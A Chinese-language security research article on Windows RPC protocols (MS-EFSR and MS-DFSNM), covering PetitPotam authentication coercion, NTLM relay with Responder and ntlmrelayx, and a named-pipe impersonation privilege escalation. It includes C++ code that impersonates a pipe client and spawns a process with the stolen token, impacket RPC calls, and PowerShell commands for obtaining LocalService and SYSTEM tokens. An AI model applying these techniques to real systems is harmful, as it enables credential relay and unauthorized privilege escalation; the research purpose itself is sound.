WindowsRPC协议-从入门到提权0day
字数 1388 2025-08-26 22:11:51
Windows RPC协议从入门到提权0day研究
1. MS-EFSR协议分析
1.1 EFSRPC协议基础
MS-EFSR协议是Windows用于远程存储和加密数据管理的协议,必须通过\pipe\lsarpc或\pipe\efsrpc管道通信,对应UUID为:
c681d488-d850-11d0-8c52-00c04fd90f7edf1941c5-fe89-4e79-bf10-463657acf44d
注意:实际上任何lsass.exe创建的管道都可使用,但efsrpc管道必须使用第二个UUID。
1.2 PetitPotam漏洞分析
PetitPotam利用的是EfsRpcOpenFileRaw API,该API通常用于备份软件,功能是打开文件。漏洞原理:
- 通过
\pipe\lsass管道发送EFSRPC协议 - 目标的lsass.exe进程会对指定IP发起认证请求
- 请求管道为
\\IP\PIPE\srvsvc - 成功后访问要求操作的文件路径
利用方式:
- 使用Responder获取NTLM-NET-V2哈希进行破解
- 使用ntlmrelayx.py进行中继利用
修复情况:已在CVE-2021-36942中修复
1.3 EFS协议本地提权
提权流程:
- 构造请求路径为
\\IP/pipe/sss\filename - lsass.exe会请求
\\IP\pipe\sss\PIPE\srvsvc - 手动创建该管道并设置特殊服务操作
- 模拟连接用户权限创建任意进程
关键代码实现:
// 创建恶意管道
HANDLE hNamedPipe = CreateNamedPipe(
L"\\\\.\\pipe\\lsarpc\\pipe\\srvsvc",
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
10, 2048, 2048, 0, &sa
);
// 提权核心代码
if(ImpersonateNamedPipeClient(hNamedPipe)) {
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &phNewToken);
CreateProcessAsUser(phNewToken, ...);
}
2. MS-DFSNM协议分析
2.1 DFS协议基础
MS-DFSNM协议必须通过\PIPE\NETDFS管道通信,UUID为4FC742E0-4A10-11CF-8273-00AA004AE673。
协议特点:
- 进程为dfssvc.exe
- Win2012首次启用会访问
\PIPE\winreg - Win2016会访问
\PIPE\wkssvc
2.2 DFSNM利用方式
中继利用:与PetitPotam类似,强制服务器到指定IP进行认证
提权利用:通过管道模拟实现权限提升
3. RPC编程实践
3.1 C++实现MS-DFSNM客户端
基本流程:
- 从微软文档获取完整IDL文件
- 编译IDL生成客户端代码
- 实现RPC连接和调用
关键代码:
// RPC连接初始化
RpcStringBindingCompose(
(RPC_WSTR)L"4FC742E0-4A10-11CF-8273-00AA004AE673",
(RPC_WSTR)L"ncacn_np",
(RPC_WSTR)L"\\\\127.0.0.1",
(RPC_WSTR)L"\\pipe\\netdfs",
NULL,
&StringBinding
);
// API调用
NetrDfsAddStdRoot(Binding, L"\\\\127.0.0.1/pipe/qwe", L"test", L"comment", NULL);
3.2 Python实现
使用impacket库实现DFSNM协议调用:
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import *
class NetrDfsAddStdRoot(NDRCALL):
opnum = 12
structure = (
('ServerName', WSTR),
('RootShare', WSTR),
('Comment', WSTR),
('ApiFlags', DWORD),
)
3.3 RPCView逆向分析
编译步骤:
- 安装CMake、QT和Visual Studio
- 修改RpcInternals.h中的版本号
- 使用CMake生成项目并编译
使用流程:
- 打开RPCView查看所有RPC端点和接口
- 根据协议文档定位目标接口
- 反编译获取IDL定义
4. 附录:权限获取技巧
4.1 获取Local Service权限
使用PSexec:
psexec -i -d -u "NT AUTHORITY\LocalService" cmd
使用NtObjectManager:
Install-Module -Name NtObjectManager -RequiredVersion 1.1.32
$sess = Get-NtToken -Session
$token = Get-NtToken -Service LocalService -AdditionalGroups $sess.LogonSid.Sid
New-Win32Process cmd -Token $token -CreationFlags NewConsole
4.2 获取SYSTEM权限
$p = Start-Win32ChildProcess powershell
5. 总结
本文详细分析了Windows RPC协议的安全问题,特别是EFS和DFSNM协议的强制认证和本地提权漏洞。通过C++和Python两种方式实现了RPC客户端编程,并介绍了使用RPCView进行逆向分析的方法。最后提供了获取系统权限的实用技巧,为安全研究人员提供了全面的参考。